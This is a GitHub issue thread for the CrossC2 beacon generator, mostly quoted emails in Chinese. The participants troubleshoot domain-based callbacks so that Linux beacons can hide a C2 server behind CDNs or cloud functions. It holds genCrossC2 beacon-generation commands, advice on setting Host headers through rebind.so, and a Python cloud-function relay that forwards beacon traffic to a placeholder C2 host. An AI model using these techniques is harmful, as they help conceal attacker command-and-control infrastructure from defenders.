-
Notifications
You must be signed in to change notification settings - Fork 348
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
能否在下个版本新增基于域名请求的功能 #94
Comments
首先尝试使用 #87 (comment) 该版本
该问题与IP无关,需要使用rebind.so来设定HTTP请求包中的HOST为域名,所有使用了c2profile或者类似于CDN转发,云函数等等的都需要设定一个rebind.so(主要是为了给类CDN服务器传入合法的HTTP头,例如正确的HOST字段等等)
逻辑是去解析域名/域名列表绑定的IP |
你好!根据你回复邮件的内容。我看了下issues大致了解了一下。我看到你发了一个linux端的文件。意思是如果linux的主机上线需要用到rebind.so文件,也就是我用的win版本在生成文件的时候需要拷贝一个rebind.so来生成。这样就可以通过域名解析连接到服务器端吗?我不知道是不是理解到位了
…------------------ 原始邮件 ------------------
发件人: "gloxec/CrossC2" ***@***.***>;
发送时间: 2021年7月16日(星期五) 中午11:11
***@***.***>;
***@***.******@***.***>;
主题: Re: [gloxec/CrossC2] 能否在下个版本新增基于域名请求的功能 (#94)
首先尝试使用 #87 (comment) 该版本
使用./genCrossC2.Linux www.xxx.com 443 key rebind.so Linux x64 aaa 这样的方案生成beacon。
看了下后续的请求都是同一个IP,但是请求IP的话C2是没办法收到请求的
增加一个判断如果是域名的话每次请求都是域名,而不是域名解析后的IP地址
该问题与IP无关,需要使用rebind.so来设定HTTP请求包中的HOST为域名,所有使用了c2profile或者类似于CDN转发,云函数等等的都需要设定一个rebind.so(主要是为了给类CDN服务器传入合法的HTTP头,例如正确的HOST字段等等)
参考demo
linux版本在请求域名的时候会将返回的第一个地址作为目的地址来请求
逻辑是去解析域名/域名列表绑定的IP
如果传入的是域名列表./genCrossC2 a1.xx.com,a2.xx.com,a3.xx.com这种,在发包失败时会尝试解析域名列表中可用的IP重新去发包。
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
|
该问题与IP无关,需要使用rebind.so来设定HTTP请求包中的HOST为域名,所有使用了c2profile或者类似于CDN转发,云函数等等的都需要设定一个rebind.so(主要是为了给类CDN服务器传入合法的HTTP头,例如正确的HOST字段等等)
参考demo
我使用了rebind.so把www.google.com替换成域名编译成.so文件在生成c2客户端。在kali上执行后还是无法上线,window的版本使用cs自身的shellcode替换域名是没问题都能上,请求的每次IP都是在变化。但是C2的不行他在解析后访问的目标是域名解析后的IP并不是域名带入后函数的IP地址。所以服务器只会接收到第一次的请求后面的请求就不会接收到。
…------------------ 原始邮件 ------------------
发件人: "gloxec/CrossC2" ***@***.***>;
发送时间: 2021年7月16日(星期五) 中午11:11
***@***.***>;
***@***.******@***.***>;
主题: Re: [gloxec/CrossC2] 能否在下个版本新增基于域名请求的功能 (#94)
首先尝试使用 #87 (comment) 该版本
使用./genCrossC2.Linux www.xxx.com 443 key rebind.so Linux x64 aaa 这样的方案生成beacon。
看了下后续的请求都是同一个IP,但是请求IP的话C2是没办法收到请求的
增加一个判断如果是域名的话每次请求都是域名,而不是域名解析后的IP地址
该问题与IP无关,需要使用rebind.so来设定HTTP请求包中的HOST为域名,所有使用了c2profile或者类似于CDN转发,云函数等等的都需要设定一个rebind.so(主要是为了给类CDN服务器传入合法的HTTP头,例如正确的HOST字段等等)
参考demo
linux版本在请求域名的时候会将返回的第一个地址作为目的地址来请求
逻辑是去解析域名/域名列表绑定的IP
如果传入的是域名列表./genCrossC2 a1.xx.com,a2.xx.com,a3.xx.com这种,在发包失败时会尝试解析域名列表中可用的IP重新去发包。
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
|
抱歉我刚查了下IP是域名的IP不是云函数的随机IP我纠正一下
…------------------ 原始邮件 ------------------
发件人: "凬清沄淡" ***@***.***>;
发送时间: 2021年7月30日(星期五) 上午10:51
***@***.***>;
主题: 回复: [gloxec/CrossC2] 能否在下个版本新增基于域名请求的功能 (#94)
该问题与IP无关,需要使用rebind.so来设定HTTP请求包中的HOST为域名,所有使用了c2profile或者类似于CDN转发,云函数等等的都需要设定一个rebind.so(主要是为了给类CDN服务器传入合法的HTTP头,例如正确的HOST字段等等)
参考demo
我使用了rebind.so把www.google.com替换成域名编译成.so文件在生成c2客户端。在kali上执行后还是无法上线,window的版本使用cs自身的shellcode替换域名是没问题都能上,请求的每次IP都是在变化。但是C2的不行他在解析后访问的目标是域名解析后的IP并不是域名带入后函数的IP地址。所以服务器只会接收到第一次的请求后面的请求就不会接收到。
------------------ 原始邮件 ------------------
发件人: "gloxec/CrossC2" ***@***.***>;
发送时间: 2021年7月16日(星期五) 中午11:11
***@***.***>;
***@***.******@***.***>;
主题: Re: [gloxec/CrossC2] 能否在下个版本新增基于域名请求的功能 (#94)
首先尝试使用 #87 (comment) 该版本
使用./genCrossC2.Linux www.xxx.com 443 key rebind.so Linux x64 aaa 这样的方案生成beacon。
看了下后续的请求都是同一个IP,但是请求IP的话C2是没办法收到请求的
增加一个判断如果是域名的话每次请求都是域名,而不是域名解析后的IP地址
该问题与IP无关,需要使用rebind.so来设定HTTP请求包中的HOST为域名,所有使用了c2profile或者类似于CDN转发,云函数等等的都需要设定一个rebind.so(主要是为了给类CDN服务器传入合法的HTTP头,例如正确的HOST字段等等)
参考demo
linux版本在请求域名的时候会将返回的第一个地址作为目的地址来请求
逻辑是去解析域名/域名列表绑定的IP
如果传入的是域名列表./genCrossC2 a1.xx.com,a2.xx.com,a3.xx.com这种,在发包失败时会尝试解析域名列表中可用的IP重新去发包。
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
|
借助rebind.so主要是为了填充与c2profile一致的请求,以及在使用CDN情况下的HOST等字段更改
类CDN服务器的连接有两个地方,假设请求的是www.abc.com,到CDN那边就是:
云函数这个需要你那边贴出个测试的正常请求的HTTP包,以及https通讯的pcap流量,(不需要cs请求流量,云函数正常转发测试包即可)
|
1.正常请求的包是windows的请求,不知道适不适应与linux。
2.走的https流量都是加密的,只能看请求的ip。需要解密请求。
我对CS的研究不多所以不知道很多细节的东西,抱歉。 不知道反馈的情况正不正确
…------------------ 原始邮件 ------------------
发件人: "gloxec/CrossC2" ***@***.***>;
发送时间: 2021年7月30日(星期五) 中午11:43
***@***.***>;
***@***.******@***.***>;
主题: Re: [gloxec/CrossC2] 能否在下个版本新增基于域名请求的功能 (#94)
...我看到你发了一个linux端的文件。意思是如果linux的主机上线需要用到rebind.so文件...
借助rebind.so主要是为了填充与c2profile一致的请求,以及在使用CDN情况下的HOST等字段更改
...可以通过域名解析连接到服务器端吗...
类CDN服务器的连接有两个地方,假设请求的是www.abc.com,到CDN那边就是:
CDN服务器收到的请求包SNI是www.abc.com,这个在./genCrossC2 www.abc.com时被指定(#87 (comment))
CDN服务器收到HTTP包中正确配置字段,如HOST: www.abc.com等,这个需要借助rebind.so来实现HTTP包的字段配置。
...但是C2的不行他在解析后访问的目标是域名解析后的IP并不是域名带入后函数的IP地址。所以服务器只会接收到第一次的请求后面的请求就不会接收到...
云函数这个需要你那边贴出个测试的正常请求的HTTP包,以及https通讯的pcap流量,(不需要cs请求流量,云函数正常转发测试包即可)
但按一些文章描述来看,这里的行为与CDN一致,应该是可以正常使用的
./genCrossC2 xxxx.api.cloud.com rebind.so: { ... HOST: xxxx.api.cloud.com ... }
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
|
云函数中转用的是这段代码。
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='https://xxx.xxx.xxx.xx:xxx' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
是不是要在rebind.so里面做一些调整才行。
…------------------ 原始邮件 ------------------
发件人: "gloxec/CrossC2" ***@***.***>;
发送时间: 2021年7月30日(星期五) 中午11:43
***@***.***>;
***@***.******@***.***>;
主题: Re: [gloxec/CrossC2] 能否在下个版本新增基于域名请求的功能 (#94)
...我看到你发了一个linux端的文件。意思是如果linux的主机上线需要用到rebind.so文件...
借助rebind.so主要是为了填充与c2profile一致的请求,以及在使用CDN情况下的HOST等字段更改
...可以通过域名解析连接到服务器端吗...
类CDN服务器的连接有两个地方,假设请求的是www.abc.com,到CDN那边就是:
CDN服务器收到的请求包SNI是www.abc.com,这个在./genCrossC2 www.abc.com时被指定(#87 (comment))
CDN服务器收到HTTP包中正确配置字段,如HOST: www.abc.com等,这个需要借助rebind.so来实现HTTP包的字段配置。
...但是C2的不行他在解析后访问的目标是域名解析后的IP并不是域名带入后函数的IP地址。所以服务器只会接收到第一次的请求后面的请求就不会接收到...
云函数这个需要你那边贴出个测试的正常请求的HTTP包,以及https通讯的pcap流量,(不需要cs请求流量,云函数正常转发测试包即可)
但按一些文章描述来看,这里的行为与CDN一致,应该是可以正常使用的
./genCrossC2 xxxx.api.cloud.com rebind.so: { ... HOST: xxxx.api.cloud.com ... }
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
|
需求是这样windows版本可以基于域名请求生成c2程序利用域名的动态性来隐藏C2服务器的源地址。但是linux版本在请求域名的时候会将返回的第一个地址作为目的地址来请求。不知道我分析的有没有错~看了下后续的请求都是同一个IP,但是请求IP的话C2是没办法收到请求的。大概就是增加一个判断如果是域名的话每次请求都是域名,而不是域名解析后的IP地址。这样部分的云函数没办法触发。
The text was updated successfully, but these errors were encountered: